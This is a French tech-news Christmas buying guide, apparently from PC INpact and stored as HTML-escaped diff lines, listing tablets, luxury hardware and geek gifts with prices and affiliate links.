+&lt;p&gt;Comme d'habitude, les op&amp;eacute;rateurs le proposent aussi. C'est par exemple le cas chez Orange o&amp;ugrave; il est &amp;agrave; partir de &lt;a href="http://pdn.im/192F3GB" target="_blank"&gt;289,90 euros&lt;/a&gt;&amp;nbsp;chez Orange ou chez SFR &amp;agrave; partir de &lt;a href="http://pdn.im/Id2k24" target="_blank"&gt;149,99 euros&lt;/a&gt;,&amp;nbsp;incluant une offre de remboursement de &lt;a href="http://www.pcinpact.com/bon-plan/325-jusqua-100-rembourses-pour-achat-dune-tablette-3g-ou-4-g-chez-sfr.htm" target="_blank"&gt;100 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver l'iPad Air&amp;nbsp;chez Apple, &lt;a href="http://pdn.im/1blaVGt" target="_blank"&gt;&amp;agrave; partir de 489 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Retrouver l'iPad Air chez Orange, &lt;a href="http://pdn.im/192F3GB" target="_blank"&gt;&amp;agrave; partir de 289,90 euros&lt;/a&gt;&amp;nbsp;&lt;/li&gt;
+&lt;li&gt;Retrouver l'iPad Air chez SFR, &lt;a href="http://pdn.im/Id2k24" target="_blank"&gt;&amp;agrave; partir de 149,99 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Microsoft Surface 2 Pro : Windows 8.1, un &amp;eacute;cran Full HD&lt;/h3&gt;
+&lt;p&gt;Finissons sur la Surface 2 Pro de Microsoft qui est une tablette sous Windows 8.1 et qui est disponible &amp;agrave; partir de 879 euros chez Microsoft. Elle est &amp;eacute;quip&amp;eacute;e d'un &amp;eacute;cran full HD 1080p de 10,6 pouces, d'un Core i5 de la g&amp;eacute;n&amp;eacute;ration Haswell, de 4 ou 8 Go de m&amp;eacute;moire vive. Quatre capacit&amp;eacute;s de stockage sont propos&amp;eacute;es : 64, 128, 256 et 512 Go.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/139040.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-139040.png" alt="Surface 2 Pro Offi" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; connectique, on retrouve un port USB 3.0, un lecteur de cartes microSDXC, une sortie miniDP ainsi qu'une prise casque. Elle est livr&amp;eacute;e sous Windows 8.1 et elle accompagn&amp;eacute;e d'un stylet actif. 200 Go de stockage sur SkyDrive sont offerts pendant une dur&amp;eacute;e de deux ans, soit une remise de 148 euros.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver la Surface 2 Pro&amp;nbsp;chez Microsoft, &lt;a href="http://pdn.im/192FmkF" target="_blank"&gt;&amp;agrave; partir de 879 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;&lt;p&gt;Pour vous, No&amp;euml;l c'est comme le Poker Texas Hold'em, &amp;laquo; No Limit &amp;raquo;&amp;nbsp;du c&amp;ocirc;t&amp;eacute; du budget ? Alors, voil&amp;agrave; qui devrait vous int&amp;eacute;resser. En effet, sur cette page nous avons regroup&amp;eacute; des produits int&amp;eacute;ressants et g&amp;eacute;n&amp;eacute;ralement tr&amp;egrave;s performants, mais vendu &amp;agrave; des prix relativement &amp;eacute;lev&amp;eacute;s ce qui les rend bien souvent inaccessibles au commun des mortels. N&amp;eacute;anmoins, il est n'est pas interdit de r&amp;ecirc;ver, surtout &amp;agrave; l'approche des f&amp;ecirc;tes de fin d'ann&amp;eacute;e... &amp;agrave; condition d'avoir &amp;eacute;t&amp;eacute; tr&amp;egrave;s sage.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/134002.png" alt="Alienware 18" width="400" /&gt;&lt;/p&gt;
+&lt;h3&gt;Synology explose les compteurs : 144 To pour 10 000 &amp;euro; ou un demi Po pour 45 000 &amp;euro;&lt;/h3&gt;
+&lt;p&gt;Commen&amp;ccedil;ons avec un &lt;a href="http://www.prixdunet.com/boitier-externe/?1744=ethernet&amp;amp;order=rate_desc" target="_blank"&gt;NAS&lt;/a&gt; Synology accompagn&amp;eacute; de deux bo&amp;icirc;tiers d'extensions en plus : le DS3612xs avec deux DX1211. Les amateurs de la marque l'auront de suite compris, il s'agit d'un NAS capable de g&amp;eacute;rer pas moins de 36 disques durs.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Afin d'en profiter au maximum, nous avons bien &amp;eacute;videmment ajout&amp;eacute; 32 HDD Red de 4 To de chez Western Digital, soit un total de 144 To niveau stockage. Du c&amp;ocirc;t&amp;eacute; des d&amp;eacute;bits, il est question de plus de 1 000 Mo/s.&amp;nbsp;Au total, il en vous en co&amp;ucirc;tera plus de 10 000 &amp;euro; pour le NAS, les deux unit&amp;eacute;s d'extension ainsi que les 32 disques durs.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;NAS DS3612xs de Synology :&amp;nbsp;&lt;a href="http://pdn.im/17GHVhl" target="_blank"&gt;2399,90 &amp;euro;&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Unit&amp;eacute; d'extension DX1211 :&amp;nbsp;&lt;a href="http://pdn.im/17GHZxL" target="_blank"&gt;1082 &amp;euro;&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;[PDN]809730[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si vous disposez d'une baie de brassage alors il est m&amp;ecirc;me possible d'exploser cette capacit&amp;eacute; et de grimper jusqu'&amp;agrave; 424 To, soit presque un demi Po. En effet, le RS10613xs+ dispose de dix emplacements, mais il est possible d'ajouter pas moins de huit unit&amp;eacute;s d'extension RX1213sas, pour un total de 106 disques durs !&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;L'addition grimpe cette fois-ci &amp;agrave; 45 000 euros environ, donc presque la moiti&amp;eacute; pour les disques durs uniquement, &amp;acirc;me sensible s'abstenir donc. Le fabricant annonce cette fois-ci plus de 2 000 Mo/s du c&amp;ocirc;t&amp;eacute; des d&amp;eacute;bits et 400 000 IOPS, de quoi largement saturer la bande passante d'une liaison 10 Gb/s tout de m&amp;ecirc;me !&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;NAS RS10613XS+ :&amp;nbsp;&lt;a href="http://pdn.im/17GI6Jr" target="_blank"&gt;6113,90 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Unit&amp;eacute; d'extension RX1213sas :&amp;nbsp;&lt;a href="http://pdn.im/17GIcAY" target="_blank"&gt;2655 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/141100.png" alt="NAS Synology RS10613xs+" width="450" /&gt;&lt;/p&gt;
+&lt;h3&gt;Les SSD &amp;agrave; 600 Mo/s se tra&amp;icirc;nent ? L'Intel 910 S&amp;eacute;ries grimpe &amp;agrave;... 2 Go/s et 180 000 IOPS&lt;/h3&gt;
+&lt;p&gt;Restons dans le stockage avec un SSD &amp;agrave; plus de 4000 &amp;euro; de chez Intel : le 910 S&amp;eacute;rie de 800 Go. Celui-ci ne se distingue pas forc&amp;eacute;ment par sa capacit&amp;eacute; de stockage, Crucial et Samsung proposant tous les deux 1 To d&amp;eacute;sormais, mais surtout par ces performances hors normes : 2 Go/s en lecture et 1 Go/s en &amp;eacute;criture.&lt;/p&gt;
+&lt;p&gt;[PDN]745173[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Bien &amp;eacute;videmment, il faudra dire adieu &amp;agrave; une connectique S-ATA, le PCI Express &amp;eacute;tant de mise cette fois-ci. Notez enfin que ces SSD ne sont pas &amp;laquo; bootables &amp;raquo;, une bonne excuse pour r&amp;eacute;sister &amp;agrave; l'envie de craquer ? Du moins pour ceux qui se posaient r&amp;eacute;ellement la question.&lt;/p&gt;
+&lt;h3&gt;Une cl&amp;eacute; USB de 512 Go &amp;agrave; plus de 600 euros... attention &amp;agrave; ne pas la perdre&lt;/h3&gt;
+&lt;p&gt;Le petit monde du stockage est d&amp;eacute;cid&amp;eacute;ment propice aux produits les plus inaccessibles et ce n'est pas Kingston qui dira le contraire avec sa Hyper X Predator. En effet, il s'agit d'une &lt;a href="http://www.prixdunet.com/cle-usb/?1586=usb-3-0%2Cen-usb-3-0&amp;amp;order=rate_desc" target="_blank"&gt;cl&amp;eacute; USB 3.0&lt;/a&gt; de 88,5 x 26,9 x 21 mm pour une capacit&amp;eacute; de 512 Go.&lt;/p&gt;
+&lt;p&gt;[PDN]771252[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si le tarif est relativement &amp;eacute;lev&amp;eacute;, ce n'est pas le cas des performances puisqu'il n'est finalement question que de 240 Mo/s en lecture et de 160 Mo/s en &amp;eacute;criture.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;En manque de puissance ? Le Core i7 4960X est l&amp;agrave;, reste &amp;agrave; trouver 900 &amp;euro;&lt;/h3&gt;
+&lt;p&gt;Retournons chez Intel, mais dans le domaine des &lt;a href="http://www.prixdunet.com/processeur/" target="_blank"&gt;processeurs&lt;/a&gt; cette fois-ci avec le Core i7 4960X. Il s'agit du fleuron du fondeur de Santa Clara et il affiche des caract&amp;eacute;ristiques techniques de haut vol : six c&amp;oelig;urs, douze threads), 3,6 GHz pour un TDP de 130 W. Pour rappel, il exploite un socket LGA 2011.&lt;/p&gt;
+&lt;p&gt;[PDN]811126[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;S&amp;eacute;rie &amp;laquo; X &amp;raquo; oblige, son coefficient multiplicateur est d&amp;eacute;bloqu&amp;eacute; et vous pourrez donc l'overclocker comme bon vous semble, dans la limite de ses possibilit&amp;eacute;s &amp;eacute;videmment. Reste maintenant &amp;agrave; voir si son prix de plus de 900 euros ne vous fait pas peur.&lt;/p&gt;
+&lt;h3&gt;Origen S21T : la rencontre &amp;agrave; plus de 1000 &amp;euro; entre un bo&amp;icirc;tier et une tablette de 12"&lt;/h3&gt;
+&lt;p&gt;Plus de 900 &amp;euro; semble d&amp;eacute;j&amp;agrave; cher pour un processeur, mais alors quand il ne s'agit &amp;laquo; que &amp;raquo; d'un bo&amp;icirc;tier cela &amp;agrave; de quoi surprendre. C'est pourtant le cas de l'Origen S21T. Malgr&amp;eacute; son prix, il est livr&amp;eacute; sans alimentation, mais il est disponible en deux coloris : blanc ou noir !&lt;/p&gt;
+&lt;p&gt;[PDN]179051[/PDN]&lt;/p&gt;
+&lt;p&gt;[PDN]179056[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il accepte les cartes m&amp;egrave;res ATX et micro-ATX et son encombrement n'est pas des plus imposants : 435 x 390 x 220 mm pour 9,8 kg. Sa principale originalit&amp;eacute; se trouve sur la fa&amp;ccedil;ade : un &amp;eacute;cran LCD de 12 pouces tactile et motoris&amp;eacute; d'une d&amp;eacute;finition de 1280 x 800 pixels.&lt;/p&gt;
+&lt;h3&gt;Une alimentation &amp;agrave; plus de 400 euros ? Merci EVGA et sa SuperNOVA NEX de 1,5 kW&lt;/h3&gt;
+&lt;p&gt;Vous ne voyez la vie qu'avec un FX-9370 ou FX-9590 d'AMD et un Quad Sli ou un Quad CrossfireX de cartes tr&amp;egrave;s haut de gamme, le tout fortement overlock&amp;eacute; ? Alors, la SuperNOVA NEX 1500 d'EVGA devrait vous int&amp;eacute;resser. Comme son nom l'indique, elle affiche 1500 W au compteur, ce qui devrait suffire pour alimenter les demandes les plus folles, ou presque.&lt;/p&gt;
+&lt;p&gt;[PDN]763370[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Bien &amp;eacute;videmment, pour ce prix vous avez droit &amp;agrave; une certification 80 Plus Gold et un c&amp;acirc;blage 100 % modulaire. Sachez qu'elle ne propose pas moins de 8 rails de 12 V, de 20 A maximum chacun.&lt;/p&gt;
+&lt;h3&gt;Surface Pro 2 de 512 Go et MacBook Pro Retina : plus de 4000 &amp;euro; pour &amp;ecirc;tre mobile&lt;/h3&gt;
+&lt;p&gt;Restons dans le domaine des tablettes avec la Surface Pro 2 de 512 Go de Microsoft. Elle est annonc&amp;eacute;e &amp;agrave; 1 779 &amp;euro;, excusez du peu. Pour rappel, elle est anim&amp;eacute;e par un Core i5 de la g&amp;eacute;n&amp;eacute;ration Haswell de chez Intel, tandis que l'&amp;eacute;cran de 10,6 pouces affiche toujours une d&amp;eacute;finition Full HD 1080p.&lt;/p&gt;
+&lt;p&gt;[PDN]814580[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Chez Apple, c'est le MacBook Pro Retina de 15 pouces avec un Core i7 &amp;agrave; 2,3 GHz qui retient notre attention, que ce soit pour ses caract&amp;eacute;ristiques techniques haut de gamme, sa finition exemplaire ou encore par la pr&amp;eacute;sence de ports Thunderbolt.&lt;/p&gt;
+&lt;p&gt;[PDN]786158[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais c'est surtout son tarif qui d&amp;eacute;coiffe : 2 599 euros. On n'a rien sans rien.&lt;/p&gt;
+&lt;h3&gt;Blas&amp;eacute; par la HD 1080p ? La 4K est d&amp;eacute;j&amp;agrave; l&amp;agrave;, des TV de 65 pouces pour 5 000 euros&lt;/h3&gt;
+&lt;p&gt;Vous en avez d&amp;eacute;j&amp;agrave; raz le-bol de votre TV Full HD qui n'affiche que 1920 x 1080 pixels, soit autant que votre smartphone ? Alors, il est temps de passer &amp;agrave; l'Ultra HD, ou 4K. Samsung et Sony proposent tous les deux des t&amp;eacute;l&amp;eacute;viseurs de 65 pouces affichant une d&amp;eacute;finition de 3840 x 2160 pixels.&lt;/p&gt;
+&lt;p&gt;[PDN]808336[/PDN]&lt;/p&gt;
+&lt;p&gt;[PDN]796826[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Et si 65 pouces ne sont pas suffisants et qu'il vous reste encore 10 000 &amp;euro; dans le fond d'une poche alors la 84LM960V de chez LG et ses 213 cm de diagonale vous attendent. Notez que les stocks semblent tr&amp;egrave;s limit&amp;eacute;s... mais cela ne devrait finalement pas &amp;ecirc;tre vraiment g&amp;ecirc;nant, voire pas du tout.&lt;/p&gt;
+&lt;p&gt;[PDN]769238[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Vous pouvez &amp;eacute;galement craquer pour une TV Oled incurv&amp;eacute;e, LG et Samsung proposent chacun leur propre mod&amp;egrave;le : 55EA980 V pour le premier &amp;agrave; partir de &lt;a href="http://pdn.im/18H60mP" target="_blank"&gt;7990,90 euros&lt;/a&gt; et KE55S9C pour le &lt;a href="http://pdn.im/18H5WU8" target="_blank"&gt;m&amp;ecirc;me prix&lt;/a&gt; pour le second.&lt;/p&gt;
+&lt;h3&gt;Ecran ASUS PQ321QE : 4K et moins de 3 300 euros&lt;/h3&gt;
+&lt;p&gt;Si vous &amp;ecirc;tes &amp;agrave; la recherche d'un &amp;eacute;cran de bonne facture et que vous avez plus de 3 300 &amp;euro; en poche, alors le PQ321QE d'ASUS vous tend les bras. Il dispose d'une dalle IGZO 10 bits qui propose une d&amp;eacute;finition de 3840 x 2160 pixels. Nous avions d'ailleurs pu le &lt;a href="http://www.pcinpact.com/news/81282-pq321q-dasus-3840-x-2160-a-60-hz-ce-nest-pas-si-simple-dans-pratique.htm" target="_blank"&gt;prendre en main&lt;/a&gt; afin de voir comment cela se passe dans la pratique.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La version europ&amp;eacute;enne ne propose qu'une seule connectique comme entr&amp;eacute;e vid&amp;eacute;o : du DisplayPort 1.2. Notez que deux haut-parleurs de 2x 2 watts sont &amp;eacute;galement de la partie.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Moniteur ASUS PQ321QE : &lt;a href="http://pdn.im/14D8hNN" target="_blank"&gt;3 298,99 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/133009.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-133009.png" alt="ASUS PQ321" width="350" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Alienware 18 :&amp;nbsp;un portable&amp;nbsp;pour joueur&amp;nbsp;tr&amp;egrave;s haut de gamme et dop&amp;eacute; aux hormones&lt;/h3&gt;
+&lt;p&gt;Pour finir, nous passons par le configurateur d'Alienware, une marque de Dell proposant des portables pour joueurs tr&amp;egrave;s haut de gamme. Nous jetons notre d&amp;eacute;volu sur l'Alienware 18 et son &amp;eacute;cran de 18,4 pouces.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Bien &amp;eacute;videmment, nous ne nous contentons pas de la configuration de base et nous ajoutons quelques options : un &lt;a href="http://ark.intel.com/products/75133/" target="_blank"&gt;Core i7 4930MX&lt;/a&gt;, 32 Go de DDR3, SLI de GeForce GTX 780M, etc. Le tout pour un total de pr&amp;egrave;s de 4 500 &amp;euro;.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Configurer son portable&amp;nbsp;&lt;a href="http://bit.ly/1ipmAes" target="_blank"&gt;Alienware 18&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;GeForce GTX Titan : pour les CUDA lovers&lt;/h3&gt;
+&lt;p&gt;Vous trouvez la &lt;a href="http://www.prixdunet.com/carte-graphique/?478=geforce-gtx-780-ti&amp;amp;order=rate_desc" target="_blank"&gt;GeForce GTX 780 Ti&lt;/a&gt; trop cheap vu qu'elle ne dispose pas de 6 Go de GDDR5 et n'est pas au top pour ce qui est de la puissance de calcul en double pr&amp;eacute;cision ? La GeForce GTX Titan de NVIDIA est faite pour vous. Notez qu'EVGA propose des mod&amp;egrave;les Superclocked, mais aussi des versions bien plus folles comme &lt;a href="http://eu.evga.com/products/moreInfo.asp?pn=06G-P4-2794-KR&amp;amp;family=GeForce%20TITAN%20Series%20Family&amp;amp;uc=EUR" target="_blank"&gt;l'Hydro Copper&lt;/a&gt;.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;[PDN]796478[/PDN]&lt;/p&gt;&lt;p&gt;Fid&amp;egrave;les &amp;agrave; notre habitude, nous finissons cette s&amp;eacute;lection par une cat&amp;eacute;gorie de produits un peu &amp;agrave; part : les objets inutiles et donc forc&amp;eacute;ment un peu indispensables. En plus de d&amp;eacute;couvrir ou red&amp;eacute;couvrir des objets incontournables, vous devriez trouver quelques id&amp;eacute;es originales pour faire plaisir &amp;agrave; tous les geeks en herbes.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il y en a pour tous les go&amp;ucirc;ts ainsi que pour toutes les bourses puisque cela va de r&amp;eacute;pliques miniatures des objets du jeu Portal &amp;agrave; un quadricopt&amp;egrave;re &amp;eacute;quip&amp;eacute; d'une cam&amp;eacute;ra en passant par le &lt;em&gt;Doctor Who&lt;/em&gt; et le Faucon Millenium de &lt;em&gt;Star Wars&lt;/em&gt;.&lt;/p&gt;
+&lt;h3&gt;Un abonnement PC INpact : parce que l'INpactitude le vaut bien&lt;/h3&gt;
+&lt;p&gt;Depuis maintenant pr&amp;egrave;s de 4 ans, PC INpact propose un abonnement &amp;agrave; ses membres qui veulent naviguer sur le site sans publicit&amp;eacute;, sans trackers, et parfois avec des services en plus via notre offre Premium. Vous pouvez aussi acheter &lt;a href="http://www.pcinpact.com/acheter-teeshirt.htm" target="_blank"&gt;un t-shirt seul&lt;/a&gt;, ou &amp;agrave; tarif pr&amp;eacute;f&amp;eacute;rentiel avec un abonnement.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/107476-papa-noel-t-shirt-pci.png" alt="" width="400" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Parce que l'INpactitude le vaut bien, parce que Pierre Alain et Thomas ont vraiment assur&amp;eacute;s avec &lt;a href="http://www.pcinpact.com/incognito" target="_blank"&gt;notre mode INcognito&lt;/a&gt; et parce sans les actus de Marc, les INternets ne seraient pas la m&amp;ecirc;me chose, n'h&amp;eacute;sitez pas &amp;agrave; nous soutenir. Notez que si vous passez par le lien suivant, vous aurez une petite surprise ;)&amp;nbsp;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://www.pcinpact.com/abonnement?promo=PDRBH6wFQ/O2/w0kZg3RvA==" target="_blank"&gt;Un abonnement Premium &amp;agrave; PC INpact, au tarif de No&amp;euml;l&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Vous &amp;ecirc;tes fans de la s&amp;eacute;rie Portal ? Installez donc une tourelle sur votre bureau&lt;/h3&gt;
+&lt;p&gt;Si vous &amp;ecirc;tes plut&amp;ocirc;t port&amp;eacute; sur les jeux vid&amp;eacute;o, alors cette r&amp;eacute;plique miniature d'une tourelle de &lt;em&gt;Portal&lt;/em&gt; devrait &amp;ecirc;tre du plus bel effet sur votre bureau. Elle ne mesure par contre que neuf centim&amp;egrave;tres, mais elle dispose &amp;eacute;videmment d'une LED rouge et elle peut faire du bruit.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez qu'une r&amp;eacute;plique miniature du fameux canon &amp;agrave; portail est &amp;eacute;galement disponible. Lui aussi s'illumine, en jaune ou en bleu suivant les cas. De plus, il &amp;eacute;met bien &amp;eacute;videmment le son caract&amp;eacute;ristique du jeu lors que vous &amp;laquo; ouvrez &amp;raquo;&amp;nbsp;un portail.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;La tourelle miniature :&amp;nbsp;&lt;a href="http://pdn.im/1dJXnYE" target="_blank"&gt;18,47 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Le canon miniature :&amp;nbsp;&lt;a href="http://pdn.im/1dJWTlo" target="_blank"&gt;59,99 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&lt;a href="http://pdn.im/1dJXnYE"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/141069.jpeg" alt="Portal tourelle" width="173" height="300" /&gt;&lt;/a&gt;&amp;nbsp;&lt;a href="http://pdn.im/1dJWTlo"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-141070.jpeg" alt="Portal canon" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Amateurs de Doctor Who, ce Monopoly est fait pour vous&lt;/h3&gt;
+&lt;p&gt;Continuons avec un produit dans l'air du temps :&amp;nbsp;un Monopoly aux couleurs du &lt;em&gt;Doctor Who&lt;/em&gt;. En effet, le c&amp;eacute;l&amp;egrave;bre Docteur a f&amp;ecirc;t&amp;eacute; ses 50 ans et les amateurs de la s&amp;eacute;rie pourront ainsi prolonger l'aventure. Les cartes chances et caisses de communaut&amp;eacute;s sont remplac&amp;eacute;es par Gallifrey et Units respectivement.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Vous pouvez jouer de deux &amp;agrave; six joueurs et les figurines reprennent les petits accessoires chers aux diff&amp;eacute;rentes versions du docteur : un parapluie, une branche de&amp;nbsp;c&amp;eacute;leri, un magn&amp;eacute;tophone, une &amp;eacute;charpe, un n&amp;oelig;ud papillon et bien sur un tournevis sonique qui devrait avoir un certain succ&amp;egrave;s.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Le Monopoly Doctor Who &amp;eacute;dition :&amp;nbsp;&lt;a href="http://pdn.im/1dJW3oK" target="_blank"&gt;45,20 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&lt;a href="http://pdn.im/1dJW3oK"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141068.png" alt="Doctor Who Monopoly" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Et si on faisait dans l'originalit&amp;eacute; avec des Lego : le Faucon Millenium et la DeLorean&lt;/h3&gt;
+&lt;p&gt;Amateur de &lt;em&gt;Star Wars&lt;/em&gt;, voici de quoi vous occuper quelques heures : une r&amp;eacute;plique miniature du Faucon Millenium en Lego. A r&amp;eacute;aliser seul ou en famille, il mesure plus de 38 cm de large sur 10 cm de haut. Notez que ce n'est &amp;eacute;videmment pas le seul produit dans cette collection et vous trouverez de nombreuses autres &lt;a href="http://www.prixdunet.com/s/2114/lego+star+wars.html" target="_blank"&gt;bo&amp;icirc;tes de Lego Star Wars par ici&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;[PDN]668737[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Toujours dans la s&amp;eacute;rie des Lego, une nouvelle bo&amp;icirc;te est disponible depuis quelques mois : la DeLorean de &lt;em&gt;Retour vers le Futur&lt;/em&gt; avec Marty et Doc. Il s'agit d'un produit relativement r&amp;eacute;cent qui provient directement de &lt;a href="http://lego.cuusoo.com/" target="_blank"&gt;Lego Cuusoo&lt;/a&gt;, un site officiel qui permet de proposer des id&amp;eacute;es &amp;agrave; la marque. Pour la petite histoire, la DeLorean &amp;eacute;tait en comp&amp;eacute;tition avec le vaisseau Rifter d'&lt;em&gt;EVE Online&lt;/em&gt;, Zelda ainsi qu'une ville modulaire du Far West.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;La DeLorean en Lego avec Marty et Doc pour&amp;nbsp;&lt;a href="http://pdn.im/1dJZR9p" target="_blank"&gt;42,99 euros&lt;/a&gt;.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&lt;a href="http://pdn.im/1dJZR9p"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141073.png" alt="Lego DeLorean" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Windows 8.1 est l&amp;agrave;, avec son simili bouton d&amp;eacute;marrer&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Lors du lancement de Windows 8, de nombreux utilisateurs n'ont pas os&amp;eacute; franchir le pas, de crainte de se retrouver sur une nouvelle interface qu'ils ne ma&amp;icirc;trisent pas encore parfaitement. Il faut dire que le &amp;laquo; Start Screen &amp;raquo;&amp;nbsp;ainsi que &amp;laquo; Modern UI &amp;raquo;&amp;nbsp;ont de quoi en d&amp;eacute;boussoler certains.&lt;/p&gt;
+&lt;p&gt;[PDN]755539[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais depuis, une mise &amp;agrave; jour majeure est de la partie avec Windows 8.1. Microsoft semble avoir &amp;eacute;cout&amp;eacute;, au moins en partie, les griefs de ses utilisateurs et cette mouture int&amp;egrave;gre de nouvelles fonctionnalit&amp;eacute;s parmi lesquelles on retrouve, par exemple, un bouton &amp;laquo; d&amp;eacute;marrer &amp;raquo; en bas &amp;agrave; droite, mais aux fonctionnalit&amp;eacute;s limit&amp;eacute;es (voir &lt;a href="http://www.pcinpact.com/dossier/722-tout-savoir-des-nouveautes-de-windows-8-1/1.htm" target="_blank"&gt;notre dossier&lt;/a&gt; pour plus de d&amp;eacute;tails).&lt;/p&gt;
+&lt;h3&gt;Chromecast : pas disponible en France, mais un peu quand m&amp;ecirc;me&lt;/h3&gt;
+&lt;p&gt;Il y a quelques mois, &lt;a href="http://www.pcinpact.com/news/81396-android-4-3-devoile-profils-restreints-opengl-es-3-0-et-drm-pour-netflix.htm" target="_blank"&gt;Google annon&amp;ccedil;ait en grandes pompes son Chromecat&lt;/a&gt;. Une clef HDMI permettant de diffuser du contenu depuis n'importel appareil sous Chrome ou Android et iOS via des applications sp&amp;eacute;cifiques. En France, il n'est pas officiellement disponible, Netflix et HBP non plus, mais cela peut toujours s'av&amp;eacute;rer plut&amp;ocirc;t utile.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/139616.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-139616.jpeg" alt="Google Chromecast" width="400" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Vous pourrez donc le trouver en import via des revendeurs qui passent par le marketplace d'Amazon, pour 50 &amp;agrave; 65 &amp;euro; environ. Attention, son adaptateur secteur sera au format am&amp;eacute;ricain, mais comme il s'alimente via son port Micro USB, il sera facile de trouver une solution ;)&lt;/p&gt;
